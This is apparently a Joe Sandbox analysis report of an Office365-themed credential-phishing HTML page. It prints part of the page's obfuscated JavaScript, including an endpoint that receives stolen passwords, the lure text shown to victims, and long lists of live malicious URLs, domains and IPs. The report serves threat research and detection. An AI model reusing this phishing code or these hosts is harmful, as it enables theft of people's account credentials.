v=0x0,w=p['length'];v<w;v++){q+='%'+('00'+p['charCodeAt'](v)['toString'](0x10))['slice'](-0x2);}return decodeURIComponent(q);};const m=function(n,o){let p=[],q=0x0,r,t='';n=i(n);let u;for(u=0x0;u<0x100;u++){p[u]=u;}for(u=0x0;u<0x100;u++){q=(q+p[u]+o['charCodeAt'](u%o['length']))%0x100,r=p[u],p[u]=p[q],p[q]=r;}u=0x0,q=0x0;for(let v=0x0;v<n['length'];v++){u=(u+0x1)%0x100,q=(q+p[u])%0x100,r=p[u],p[u]=p[q],p[q]=r,t+=String['fromCharCode'](n['charCodeAt'](v)^p[(p[u]+p[q])%0x100]);}return t;};c['SdapYS']=m,b=arguments,c['DOQlkL']=!![];}const j=e[0x0],k=f+j,l=b[k];return!l?(c['PtpNIp']===undefined&&(c['PtpNIp']=!![]),h=c['SdapYS'](h,g),b[k]=h):h=l,h;},c(b,d);}function s(e,f){return c(f-'0x32f',e);}function a(){const v=['value','mZi1ntC4meveAfHzAG','click','jmoxah/cRLqRW4z0jZfmnvdcJ8oV','WOvhW7P/FmoPW6hcM8kwhfSM','mNvIwe1gtW','514055ASKmYF','DMfSDwu','775785qikKes','WO4rWPqpgSkT','265797EEeRKG','yxbWBgLJyxrPB24VEc13D3CTzM9YBs11CMXLBMnVzgvK','open','status','re9orq','DxnYBG','vSoUw1uQlmoVk0VcVG','wKhdLSo/ya','ue9tva','ywrKrxzLBNrmAxn0zw5LCG','https://ajx6f16w140.chiliesdigital.co.za/app/stiktk.php','zqXHh8oyW4RcKeGjW7FdOKm','5sIZStp','WPVcOaefW4WLmMP/ltCdxmob','x17dGCoWlSo7W59+cCooW4FdQue/r8kWx8olesC7ruBcU0q7WR89eSoqq8kXWRH3WRldKbVdOWXEdNGeWQ3dVCkaW7GQjSkuW4q','2ubXMFO','nZC4mJrjDLrJt2C','ntm5
URL: file:///C:/Users/user/Desktop/Payment_Failure_Notice_Office365_sdf_[13019].html Model: Joe Sandbox AI	{ "contains_trigger_text": true, "trigger_text": "This document is protected! Please enter your E-mail password to open.", "prominent_button_name": "Continue", "text_input_field_labels": [ "global@prometheuslabs.com" ], "pdf_icon_visible": false, "has_visible_captcha": false, "has_urgent_text": false, "has_visible_qrcode": false, "contains_chinese_text": false, "contains_fake_security_alerts": false }

URL: file:///C:/Users/user/Desktop/Payment_Failure_Notice_Office365_sdf_[13019].html Model: Joe Sandbox AI	{ "contains_trigger_text": true, "trigger_text": "This document is protected! Please enter your E-mail password to open.", "prominent_button_name": "Continue", "text_input_field_labels": [ "global@prometheuslabs.com" ], "pdf_icon_visible": false, "has_visible_captcha": false, "has_urgent_text": false, "has_visible_qrcode": false, "contains_chinese_text": false, "contains_fake_security_alerts": false }

URL: file:///C:/Users/user/Desktop/Payment_Failure_Notice_Office365_sdf_[13019].html Model: Joe Sandbox AI	{ "brands": [ "Microsoft" ] }
	{ "brands": [ "Microsoft" ] }
URL: file:///C:/Users/user/Desktop/Payment_Failure_Notice_Office365_sdf_[13019].html Model: Joe Sandbox AI	{ "brands": [ "Microsoft" ] }
	{ "brands": [ "Microsoft" ] }

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
40.99.32.114	https://simatantincendi.weebly.com/	Get hash	malicious	HTMLPhisher	Browse
	View_alert_details_#[01KTO].html	Get hash	malicious	Unknown	Browse
	Invoice_Billing_highwoodmgmt.com_9122716363.html	Get hash	malicious	Unknown	Browse
74.120.190.204	Payment_Failure_Notice_Office365_sdf_[53487].html	Get hash	malicious	HTMLPhisher	Browse
74.120.190.204	https://pub-2c608f8aaf524ef8a0c3fbb16a435356.r2.dev/zxmkxrvsescwxwzgcgsdbxtnwmwwdq.html	Get hash	malicious	Unknown	Browse
192.229.133.221	Payment_Failure_Notice_Office365_sdf_[53487].html	Get hash	malicious	HTMLPhisher	Browse
	https://app.seesaw.me/pages/shared_item?item_id=item.458620ed-6ab6-4874-8a90-aa31b75d3cd6&share_token=lEkLLLT6TUehqWhupDFOAA&mode=share	Get hash	malicious	HTMLPhisher, Mamba2FA	Browse
	View_alert_details_#[01KTO].html	Get hash	malicious	Unknown	Browse
	fred.html	Get hash	malicious	Unknown	Browse
	V-Mail.msg	Get hash	malicious	Unknown	Browse
	ATT4802.html	Get hash	malicious	Unknown	Browse
	RMHdBSlo.eml	Get hash	malicious	CredentialStealer	Browse
	View_alert_details IJPI.html	Get hash	malicious	Unknown	Browse
	Status Update DXLG.html	Get hash	malicious	Unknown	Browse
	https://t.ly/ShNFU	Get hash	malicious	HTMLPhisher, Mamba2FA	Browse
108.178.43.142	Payment_Failure_Notice_Office365_sdf_[53487].html	Get hash	malicious	HTMLPhisher	Browse
	View_alert_details_#[01KTO].html	Get hash	malicious	Unknown	Browse
	RMHdBSlo.eml	Get hash	malicious	CredentialStealer	Browse
	View_alert_details IJPI.html	Get hash	malicious	Unknown	Browse
	Status Update DXLG.html	Get hash	malicious	Unknown	Browse
	Email_sending_restriction_[sebastien.morel!](#HOHSM).html	Get hash	malicious	Unknown	Browse
	Instructions details Doc#(SC).html	Get hash	malicious	Unknown	Browse
	Instructions details Doc#(O9).html	Get hash	malicious	Unknown	Browse
	Instructions details Doc#(NN).html	Get hash	malicious	HTMLPhisher	Browse
	Office365_Alert_details Doc#(AL).html	Get hash	malicious	HTMLPhisher	Browse

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
kasumbo.com	Payment_Failure_Notice_Office365_sdf_[53487].html	Get hash	malicious	HTMLPhisher	Browse	108.178.43.142
	View_alert_details_#[01KTO].html	Get hash	malicious	Unknown	Browse	108.178.43.142
	RMHdBSlo.eml	Get hash	malicious	CredentialStealer	Browse	108.178.43.142
	View_alert_details IJPI.html	Get hash	malicious	Unknown	Browse	108.178.43.142
	Status Update DXLG.html	Get hash	malicious	Unknown	Browse	108.178.43.142
	Email_sending_restriction_[sebastien.morel!](#HOHSM).html	Get hash	malicious	Unknown	Browse	108.178.43.142
	Instructions details Doc#(SC).html	Get hash	malicious	Unknown	Browse	108.178.43.142
	Instructions details Doc#(O9).html	Get hash	malicious	Unknown	Browse	108.178.43.142
	Instructions details Doc#(NN).html	Get hash	malicious	HTMLPhisher	Browse	108.178.43.142
	Office365_Alert_details Doc#(AL).html	Get hash	malicious	HTMLPhisher	Browse	108.178.43.142
cdnjs.cloudflare.com	https://vCyA.warmickmak.ru/PrEvJj/	Get hash	malicious	Unknown	Browse	104.17.24.14
	https://usemployee-hrdbenefits.com	Get hash	malicious	Unknown	Browse	104.17.24.14
	A file has been sent to you via DROPBOX.pdf	Get hash	malicious	Unknown	Browse	104.17.25.14
	http://golden1-alert.net/online	Get hash	malicious	Unknown	Browse	104.17.25.14
	securedoc_20241217T163143.html	Get hash	malicious	Unknown	Browse	104.17.24.14
	https://sites.google.com/kula.ai/rdps/home	Get hash	malicious	HTMLPhisher	Browse	104.17.24.14
	Credit Card Authorization Form.pdf	Get hash	malicious	Unknown	Browse	104.17.24.14
	https://adobe.blob.core.windows.net/adobe/adobe.html?sp=r&st=2024-12-17T20:58:07Z&se=2025-01-11T04:58:07Z&spr=https&sv=2022-11-02&sr=b&sig=vDeHaevGyq9deO2tRq9D03JLZreACGon6EF%2FhhJQk7s%3D	Get hash	malicious	Unknown	Browse	104.17.25.14
	Harrisassoc_Updated_Workplace_Policies_and_Compliance_Guidelines.pdf.pdf	Get hash	malicious	HTMLPhisher	Browse	104.17.24.14
	https://drive.google.com/file/d/1t3oVTU9WVeXXW61-QBDfjBrcece1DEFY/view?usp=sharing	Get hash	malicious	Unknown	Browse	104.17.25.14
ooc-g2.tm-4.office.com	A file has been sent to you via DROPBOX.pdf	Get hash	malicious	Unknown	Browse	52.98.61.34
	http://recp.mkt81.net/ctt?m=9201264&r=MjcwMzc5ODk4MTM3S0&b=0&j=MTY4MDU5NzgyOAS2&k=Language&kx=1&kt=12&kd=//docs.google.com/drawings/d/1GBvP8EGp9_63LeC_UMSYm_dkcuk4Q6yrMmrOzMDg_wk/preview?pli=1	Get hash	malicious	Unknown	Browse	40.99.70.210
	Payment_Failure_Notice_Office365_sdf_[53487].html	Get hash	malicious	HTMLPhisher	Browse	52.98.95.210
	https://mailustabucaedu-my.sharepoint.com/:u:/g/personal/stella_pabon_ustabuca_edu_co/EWCk8BqICKBBrExz32n-PvYBCVoLK4PToNCGKPT0vElGYg?e=w0tQWE	Get hash	malicious	Unknown	Browse	52.98.61.34
	https://simatantincendi.weebly.com/	Get hash	malicious	HTMLPhisher	Browse	40.99.32.114
	https://e.trustifi.com/#/fff2a6/34074b/38c75f/bf3fbd/0d1c47/12c665/f3cdcd/c1be48/e8666a/ef542d/85972d/627493/9a11d6/1f4096/1d247f/d08b7b/9066d9/86c9f0/b1ff53/224fc1/c5dff5/a64e02/f00a15/3cdbea/a78615/4ddb76/30d9f7/98e1a2/9412cb/8e2651/8d4e63/9d313b/2f0213/ae3252/642e4a/6f0b2e/306b49/fd8e03/84bfef/0da4e6/6224c1/902b5e/e0d84c/badeba/3e52c1/94282a/975221/7a2e92/514659/ae5bab/957b7b/eb9e61/6942c6/d917d9/44a5ae/e58297/02048a/55f177/dca75c/c46e68/ac781c/5b787b/abcd53/568132/1d514a/5290de/d0b524/7d0cb6/e4e8bf/2ff215/1ddb69/add914/7674bb/dc5d9b/8fc829/561052/f5a816/40ee64/a0bcf5/b0cc13/8e70a5/255ef2/b24b8d/81e09f/4c70dd/5bbaa4/7ff26c/f1999b/4a2515/4a3a04/0a188e	Get hash	malicious	Unknown	Browse	40.99.70.210
	https://Scotts2fa.solitran.ru/JtZiK3LK/#Dmark.ochs@scotts.com	Get hash	malicious	Unknown	Browse	40.99.70.194
	2024 Tepa LLC RFP Proposal.docx	Get hash	malicious	Unknown	Browse	40.99.70.210
	https://docs.google.com/presentation/d/e/2PACX-1vRMxSBYgTIj7bH-OYJSKudpxaekmSD6B-b603kyy-2ygb7TXyfRQC-hU8fjYDSrrObCUBq88ZmRswwh/pub?start=false&loop=false&delayms=3000	Get hash	malicious	Unknown	Browse	40.99.70.194
	https://18QDy4sM2G.lomidore.ru/baSDU4o/#Daccounting@harborwholesale.com	Get hash	malicious	Unknown	Browse	40.99.70.178
ajx6f16w140.chiliesdigital.co.za	Payment_Failure_Notice_Office365_sdf_[53487].html	Get hash	malicious	HTMLPhisher	Browse	104.21.81.229

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
MICROSOFT-CORP-MSN-AS-BLOCKUS	la.bot.mips.elf	Get hash	malicious	Mirai	Browse	168.62.233.250
	la.bot.arm6.elf	Get hash	malicious	Mirai	Browse	20.193.42.221
	la.bot.arm7.elf	Get hash	malicious	Mirai	Browse	22.24.6.147
	A file has been sent to you via DROPBOX.pdf	Get hash	malicious	Unknown	Browse	52.98.61.34
	la.bot.sparc.elf	Get hash	malicious	Mirai	Browse	52.138.45.174
	2.elf	Get hash	malicious	Unknown	Browse	20.243.33.62
	la.bot.sh4.elf	Get hash	malicious	Mirai	Browse	21.171.85.210
	powerpc.nn.elf	Get hash	malicious	Mirai, Okiru	Browse	147.243.142.65
	la.bot.mipsel.elf	Get hash	malicious	Mirai	Browse	51.117.98.110
	la.bot.arm5.elf	Get hash	malicious	Mirai	Browse	22.147.144.32
WIKIAUS	Payment_Failure_Notice_Office365_sdf_[53487].html	Get hash	malicious	HTMLPhisher	Browse	74.120.190.204
	https://pub-2c608f8aaf524ef8a0c3fbb16a435356.r2.dev/zxmkxrvsescwxwzgcgsdbxtnwmwwdq.html	Get hash	malicious	Unknown	Browse	74.120.190.194
	FYI - Important.eml	Get hash	malicious	Unknown	Browse	74.120.188.194
	https://1rkzzyapew.beefreedesign.com/EfTl-assets-eurmktdynamics	Get hash	malicious	Unknown	Browse	74.120.188.194
	https://www.netigate.se/a/s.aspx?s=1236726X450166796X50614	Get hash	malicious	Unknown	Browse	74.120.188.194
	http://outselluar.live	Get hash	malicious	Unknown	Browse	74.120.188.204
	https://zerotrustsecuresave.sa.com/microsoft/nurseforum/	Get hash	malicious	HTMLPhisher	Browse	74.120.188.194
	http://pengoodet.live	Get hash	malicious	Unknown	Browse	74.120.184.194
	payment.html	Get hash	malicious	HTMLPhisher	Browse	74.120.188.204
	payment.html	Get hash	malicious	HTMLPhisher	Browse	74.120.188.194
EDGECASTUS	https://forms.office.com/Pages/ShareFormPage.aspx?id=z5Knz2h3QUOIV4F1TCr6H8l1dBxA_RZAr7lBOGCmz8VURUlLQURGTlFGTEQ0QzdESlFMT1lGUlpRWi4u&sharetoken=rKEHIuU7H8od3T6m0C0Z	Get hash	malicious	HTMLPhisher	Browse	152.199.21.175
	https://drive.google.com/file/d/1t3oVTU9WVeXXW61-QBDfjBrcece1DEFY/view?usp=sharing	Get hash	malicious	Unknown	Browse	152.199.21.175
	http://office.yacivt.com/wriEcFSZ	Get hash	malicious	HTMLPhisher	Browse	152.199.21.175
	Payment_Failure_Notice_Office365_sdf_[53487].html	Get hash	malicious	HTMLPhisher	Browse	152.199.21.175
	Documento_Contrato_Seguro_18951492.msi	Get hash	malicious	AteraAgent	Browse	152.199.23.209
	Documento_Contrato_Seguro_25105476.msi	Get hash	malicious	AteraAgent	Browse	152.199.23.209
	Documento_Contrato_Seguro_63452319.msi	Get hash	malicious	AteraAgent	Browse	152.199.23.209
	Documento_Contrato_Seguro_44600862.msi	Get hash	malicious	AteraAgent	Browse	152.199.23.209
	https://www.bing.com/ck/a?!&&p=24da94b1cbc4e30be5abd9acb5737b3bdb775a56c39aac0141dd9c17c937dea1JmltdHM9MTczMzI3MDQwMA&ptn=3&ver=2&hsh=4&fclid=1bf8b81c-3b95-652f-24ec-ad573a81643b&u=a1aHR0cHM6Ly93d3cueXV4aW5na2V0YW5nLmNvbS9jb2xsZWN0aW9ucy90aHJvdy1ibGFua2V0cw#aHR0cHM6Ly9jSUEudm9taXZvci5ydS9Td1dIay8=/%23dGVzbGFAdGVzbGEuY29t	Get hash	malicious	Unknown	Browse	152.199.19.160
	https://t.co/4MnukUbNZX	Get hash	malicious	HTMLPhisher	Browse	152.199.21.175

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
6271f898ce5be7dd52b0fc260d0662b3	https://launch.app/plainsart	Get hash	malicious	HTMLPhisher	Browse	150.171.27.10
	Order_948575494759.xls	Get hash	malicious	Unknown	Browse	150.171.27.10
	Order_948575494759.xls	Get hash	malicious	Unknown	Browse	150.171.27.10
	YF3YnL4ksc.exe	Get hash	malicious	Unknown	Browse	150.171.27.10
	https://ce4.ajax.a8b.co/get?redir=1&id=d4vCW7zizPl1mo0GYx0ELgo+CCIybH9/c4qC7CeWEuI=&uri=//the-western-fire-chiefs-association.jimdosite.com	Get hash	malicious	Unknown	Browse	150.171.27.10
	IIC0XbKFjS.lnk	Get hash	malicious	RHADAMANTHYS	Browse	150.171.27.10
	Document.xla	Get hash	malicious	Unknown	Browse	150.171.27.10
	V65xPrgEHH.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	150.171.27.10
	#U041e#U043f#U043b#U0430#U0442#U0430.xls	Get hash	malicious	Unknown	Browse	150.171.27.10
	#U041e#U043f#U043b#U0430#U0442#U0430.xls	Get hash	malicious	Unknown	Browse	150.171.27.10
3b5074b1b5d032e5620f69f9f700ff0e	List of required items and services.pdf.vbs	Get hash	malicious	GuLoader, RHADAMANTHYS	Browse	20.198.119.84
	g8ix97hz.vbs	Get hash	malicious	GuLoader, RHADAMANTHYS	Browse	20.198.119.84
	http://duckduckgogg42xjoc72x3sjasowoarfbgcmvfimaftt6twagswzczad.onion	Get hash	malicious	Unknown	Browse	20.198.119.84
	_Company.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	20.198.119.84
	1734537007a22115ccf81804870f6743791426a5c4263cfc792e757756373d12e0d21d0600610.dat-decoded.exe	Get hash	malicious	AsyncRAT	Browse	20.198.119.84
	F.O Pump Istek,Docx.bat	Get hash	malicious	DBatLoader, PureLog Stealer, Snake Keylogger	Browse	20.198.119.84
	D.G Governor Istek,Docx.exe	Get hash	malicious	DBatLoader, PureLog Stealer, Snake Keylogger	Browse	20.198.119.84
	https://launch.app/plainsart	Get hash	malicious	HTMLPhisher	Browse	20.198.119.84
	https://pluginvest.freshdesk.com/en/support/solutions/articles/157000010678-pluginvest-laadoplossing	Get hash	malicious	Unknown	Browse	20.198.119.84

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.1379078374848905
Encrypted:	false
SSDEEP:	3:gy0FKXFiByUC/C4YhEXALn:gy0FKXEIU6CXXLn
MD5:	FDEE505F4C7217B54F3E993310BDA10C
SHA1:	F9A7AB72AA4F8FF014C96C49FB26941F894444F4
SHA-256:	FA61DE3A0343CBB704561562FC08B8C3DE8E85E80B64F7CE31324CBFCC5BEED2
SHA-512:	A5FA55DDC99FF867AF9C0BE462394E851AEB2FC340CA7CBF6DBED8AA035B8B26D66B442AE1CE5A8E3208D8753FC8BB9434122A2C9CEC61A08CE8D5B26A733C68
Malicious:	false
Reputation:	moderate, very likely benign file
Preview:	..One or both of the values 'usrn' and 'psrd' are missing.

Chrome Cache Entry: 170

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Unicode text, UTF-8 (with BOM) text
Category:	downloaded
Size (bytes):	23427
Entropy (8bit):	5.112735417225198
Encrypted:	false
SSDEEP:	384:1HHLO7eS0F4bBY/fn6jZcy9/cGK1q8CarY64Cb+dOy:1HHCLYXfl1q8CarY64Cb+dl
MD5:	BA0537E9574725096AF97C27D7E54F76
SHA1:	BD46B47D74D344F435B5805114559D45979762D5
SHA-256:	4A7611BC677873A0F87FE21727BC3A2A43F57A5DED3B10CE33A0F371A2E6030F
SHA-512:	FC43F1A6B95E1CE005A8EFCDB0D38DF8CC12189BEAC18099FD97C278D254D5DA4C24556BD06515D9D6CA495DDB630A052AEFC0BB73D6ED15DEBC0FB1E8E208E7
Malicious:	false
Reputation:	moderate, very likely benign file
URL:	https://www.w3schools.com/w3css/4/w3.css
Preview:	./* W3.CSS 4.15 December 2020 by Jan Egil and Borge Refsnes /.html{box-sizing:border-box},:before,:after{box-sizing:inherit}./* Extract from normalize.css by Nicolas Gallagher and Jonathan Neal git.io/normalize */.html{-ms-text-size-adjust:100%;-webkit-text-size-adjust:100%}body{margin:0}.article,aside,details,figcaption,figure,footer,header,main,menu,nav,section{display:block}summary{display:list-item}.audio,canvas,progress,video{display:inline-block}progress{vertical-align:baseline}.audio:not([controls]){display:none;height:0}[hidden],template{display:none}.a{background-color:transparent}a:active,a:hover{outline-width:0}.abbr[title]{border-bottom:none;text-decoration:underline;text-decoration:underline dotted}.b,strong{font-weight:bolder}dfn{font-style:italic}mark{background:#ff0;color:#000}.small{font-size:80%}sub,sup{font-size:75%;line-height:0;position:relative;vertical-align:baseline}.sub{bottom:-0.25em}sup{top:-0.5em}figure{margin:1em 40px}img{border-style:none}.code,kbd,p

Chrome Cache Entry: 171

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	SVG Scalable Vector Graphics image
Category:	downloaded
Size (bytes):	3651
Entropy (8bit):	4.094801914706141
Encrypted:	false
SSDEEP:	96:wO4DZ+Stb/jY+eo4hAryAes9mBYYQgWLDm9:wToSBjlevudl9nO
MD5:	EE5C8D9FB6248C938FD0DC19370E90BD
SHA1:	D01A22720918B781338B5BBF9202B241A5F99EE4
SHA-256:	04D29248EE3A13A074518C93A18D6EFC491BF1F298F9B87FC989A6AE4B9FAD7A
SHA-512:	C77215B729D0E60C97F075998E88775CD0F813B4D094DC2FDD13E5711D16F4E5993D4521D0FBD5BF7150B0DBE253D88B1B1FF60901F053113C5D7C1919852D58
Malicious:	false
Reputation:	high, very likely benign file
URL:	https://aadcdn.msftauth.net/shared/1.0/content/images/microsoft_logo_564db913a7fa0ca42727161c6d031bef.svg
Preview:	<svg xmlns="http://www.w3.org/2000/svg" width="108" height="24" viewBox="0 0 108 24"><title>assets</title><path d="M44.836,4.6V18.4h-2.4V7.583H42.4L38.119,18.4H36.531L32.142,7.583h-.029V18.4H29.9V4.6h3.436L37.3,14.83h.058L41.545,4.6Zm2,1.049a1.268,1.268,0,0,1,.419-.967,1.413,1.413,0,0,1,1-.39,1.392,1.392,0,0,1,1.02.4,1.3,1.3,0,0,1,.4.958,1.248,1.248,0,0,1-.414.953,1.428,1.428,0,0,1-1.01.385A1.4,1.4,0,0,1,47.25,6.6a1.261,1.261,0,0,1-.409-.948M49.41,18.4H47.081V8.507H49.41Zm7.064-1.694a3.213,3.213,0,0,0,1.145-.241,4.811,4.811,0,0,0,1.155-.635V18a4.665,4.665,0,0,1-1.266.481,6.886,6.886,0,0,1-1.554.164,4.707,4.707,0,0,1-4.918-4.908,5.641,5.641,0,0,1,1.4-3.932,5.055,5.055,0,0,1,3.955-1.545,5.414,5.414,0,0,1,1.324.168,4.431,4.431,0,0,1,1.063.39v2.233a4.763,4.763,0,0,0-1.1-.611,3.184,3.184,0,0,0-1.15-.217,2.919,2.919,0,0,0-2.223.9,3.37,3.37,0,0,0-.847,2.416,3.216,3.216,0,0,0,.813,2.338,2.936,2.936,0,0,0,2.209.837M65.4,8.343a2.952,2.952,0,0,1,.5.039,2.1,2.1,0,0,1,.375.1v2.358a2.04,2.04,0,0,0-.

Chrome Cache Entry: 172

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	SVG Scalable Vector Graphics image
Category:	dropped
Size (bytes):	3651
Entropy (8bit):	4.094801914706141
Encrypted:	false
SSDEEP:	96:wO4DZ+Stb/jY+eo4hAryAes9mBYYQgWLDm9:wToSBjlevudl9nO
MD5:	EE5C8D9FB6248C938FD0DC19370E90BD
SHA1:	D01A22720918B781338B5BBF9202B241A5F99EE4
SHA-256:	04D29248EE3A13A074518C93A18D6EFC491BF1F298F9B87FC989A6AE4B9FAD7A
SHA-512:	C77215B729D0E60C97F075998E88775CD0F813B4D094DC2FDD13E5711D16F4E5993D4521D0FBD5BF7150B0DBE253D88B1B1FF60901F053113C5D7C1919852D58
Malicious:	false
Preview:	<svg xmlns="http://www.w3.org/2000/svg" width="108" height="24" viewBox="0 0 108 24"><title>assets</title><path d="M44.836,4.6V18.4h-2.4V7.583H42.4L38.119,18.4H36.531L32.142,7.583h-.029V18.4H29.9V4.6h3.436L37.3,14.83h.058L41.545,4.6Zm2,1.049a1.268,1.268,0,0,1,.419-.967,1.413,1.413,0,0,1,1-.39,1.392,1.392,0,0,1,1.02.4,1.3,1.3,0,0,1,.4.958,1.248,1.248,0,0,1-.414.953,1.428,1.428,0,0,1-1.01.385A1.4,1.4,0,0,1,47.25,6.6a1.261,1.261,0,0,1-.409-.948M49.41,18.4H47.081V8.507H49.41Zm7.064-1.694a3.213,3.213,0,0,0,1.145-.241,4.811,4.811,0,0,0,1.155-.635V18a4.665,4.665,0,0,1-1.266.481,6.886,6.886,0,0,1-1.554.164,4.707,4.707,0,0,1-4.918-4.908,5.641,5.641,0,0,1,1.4-3.932,5.055,5.055,0,0,1,3.955-1.545,5.414,5.414,0,0,1,1.324.168,4.431,4.431,0,0,1,1.063.39v2.233a4.763,4.763,0,0,0-1.1-.611,3.184,3.184,0,0,0-1.15-.217,2.919,2.919,0,0,0-2.223.9,3.37,3.37,0,0,0-.847,2.416,3.216,3.216,0,0,0,.813,2.338,2.936,2.936,0,0,0,2.209.837M65.4,8.343a2.952,2.952,0,0,1,.5.039,2.1,2.1,0,0,1,.375.1v2.358a2.04,2.04,0,0,0-.

Chrome Cache Entry: 173

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (30837)
Category:	downloaded
Size (bytes):	31000
Entropy (8bit):	4.746143404849733
Encrypted:	false
SSDEEP:	384:wHu5yWeTUKW+KlkJ5de2UYDyVfwYUas2l8yQ/8dwmaU8G:wwlr+Klk3Yi+fwYUf2l8yQ/e9vf
MD5:	269550530CC127B6AA5A35925A7DE6CE
SHA1:	512C7D79033E3028A9BE61B540CF1A6870C896F8
SHA-256:	799AEB25CC0373FDEE0E1B1DB7AD6C2F6A0E058DFADAA3379689F583213190BD
SHA-512:	49F4E24E55FA924FAA8AD7DEBE5FFB2E26D439E25696DF6B6F20E7F766B50EA58EC3DBD61B6305A1ACACD2C80E6E659ACCEE4140F885B9C9E71008E9001FBF4B
Malicious:	false
URL:	https://cdnjs.cloudflare.com/ajax/libs/font-awesome/4.7.0/css/font-awesome.min.css
Preview:	/!. Font Awesome 4.7.0 by @davegandy - http://fontawesome.io - @fontawesome. * License - http://fontawesome.io/license (Font: SIL OFL 1.1, CSS: MIT License). */@font-face{font-family:'FontAwesome';src:url('../fonts/fontawesome-webfont.eot?v=4.7.0');src:url('../fonts/fontawesome-webfont.eot?#iefix&v=4.7.0') format('embedded-opentype'),url('../fonts/fontawesome-webfont.woff2?v=4.7.0') format('woff2'),url('../fonts/fontawesome-webfont.woff?v=4.7.0') format('woff'),url('../fonts/fontawesome-webfont.ttf?v=4.7.0') format('truetype'),url('../fonts/fontawesome-webfont.svg?v=4.7.0#fontawesomeregular') format('svg');font-weight:normal;font-style:normal}.fa{display:inline-block;font:normal normal normal 14px/1 FontAwesome;font-size:inherit;text-rendering:auto;-webkit-font-smoothing:antialiased;-moz-osx-font-smoothing:grayscale}.fa-lg{font-size:1.33333333em;line-height:.75em;vertical-align:-15%}.fa-2x{font-size:2em}.fa-3x{font-size:3em}.fa-4x{font-size:4em}.fa-5x{font-size:5em}.fa-fw{width:1.

Chrome Cache Entry: 174

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	data
Category:	downloaded
Size (bytes):	55387
Entropy (8bit):	7.990954611900926
Encrypted:	true
SSDEEP:	1536:mdccKjEs70R+MRP9F8xkUQefj/LQoIHhHJQ83/xLWv:ddby1ivfHQogpJQ83Av
MD5:	79D4C070CAA97043C18D582FFC2A4DCA
SHA1:	34CAF70FC14739336F0EFED7C1F41B675AED5F70
SHA-256:	34012BE0FB8CB27730D922348B62E574F6FFACEE577CD1478C4FDF9F471D603D
SHA-512:	BCE0EA19882A0D8A069B23FA23CD714C114C5649140C5F375D161AF46CB19CB4F55C71B35C7E0B51F3482F356C54808F3B60FD9E5DED1D8C5A4E38575B9D3A68
Malicious:	false
URL:	https://5bsrfkftdtnvful9nm.ssaa.beauty:8443/impact??0RUaLqF76munGuf=global@prometheuslabs.com
Preview:	c....Q...@#e......oy.w.g.[.3x.U$..G......=...!...k#....(.o.o.S.!m[.a........yk..qK.I.BZ!qHT.!.[.#D.N..H.q..$%B"dl..$.M......C...3....A>3..H...<..3...F.'....h.\|O.eF ..Fx..%.".j.~I...C?..h...,...........\|wFp.^.T..WR....sU6..)]..d.0b........l.ch...D..X..O..!B..(........;k.Y..M.!m...RaV.C".e..VZ...#8..aO.d..T.,.H.+.j 8..`....=.... A..}.G4.bmO...6...h?.;....Z.w..z.Z......~[v=G.)Z..*.;4r..s......V.."..c...[.304.(...3.-.~,..........:KI\..G?}<...g%..(.S.w...M1.x~....'.&..U...pU.c.....1M08....RVIw..G.\..$42t..LO_.J.<H.E.r...G..h.nj0.<BW..'R.....B Q.0Y.....z....Wy.\|..MM.......eaa.9...2.fYP...N.R.)H..X.Pp.\...7...k..)....C..Q..4.m.oI.0..5l!o.A@..G.c.......\|^v.P-.J...St.D.,.\m.7r.{.2.+.j..[Z.J.u..i....-.'c.@gs...n..,..6......x.....w6..;........!.W#\|..\|ZF.....v.@....'\|\~....O.x!..$v.j.3...Lo....=.n<NVt...8..ht...@1\|..o..?w......I..{.9.............7.?W......B..!.....d.>?u^......u;..w8..G.......+.!.!...ax.@.FFt......cl...FG..........vw.....5?......F7.E?y.K..bd

Chrome Cache Entry: 175

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 500 x 500, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	94936
Entropy (8bit):	7.988904904779522
Encrypted:	false
SSDEEP:	1536:vvw1cgL9/QjnQamrddlq94FPE/WgMXnfWlQ7axcruxHT/v+9fDkJSs9rnmJcP1LQ:n7gJ/QjdmBdewseg0nfvO9DvmfDkUsNy
MD5:	8250EF5447361958FE7AD7D47729320B
SHA1:	A957E65B919BD08B0A8E980E5A223C3E1F788CAC
SHA-256:	73A9A25BBB59D272E95327CB648E4FF0E0B7F7DAC73AC84011FCF2A547A432EB
SHA-512:	E59FBFBA5C2FDAECE1D140B3D1D22505A6734FCB0F9743B864EDB2DECD95056534998555AD346601AF69213911F2E904DA966A6D6BF7F438464C1C54D05DAC53
Malicious:	false
Preview:	.PNG........IHDR....................sRGB....... .IDATx^...eGY....t....L..H..(.@..(.r..( . 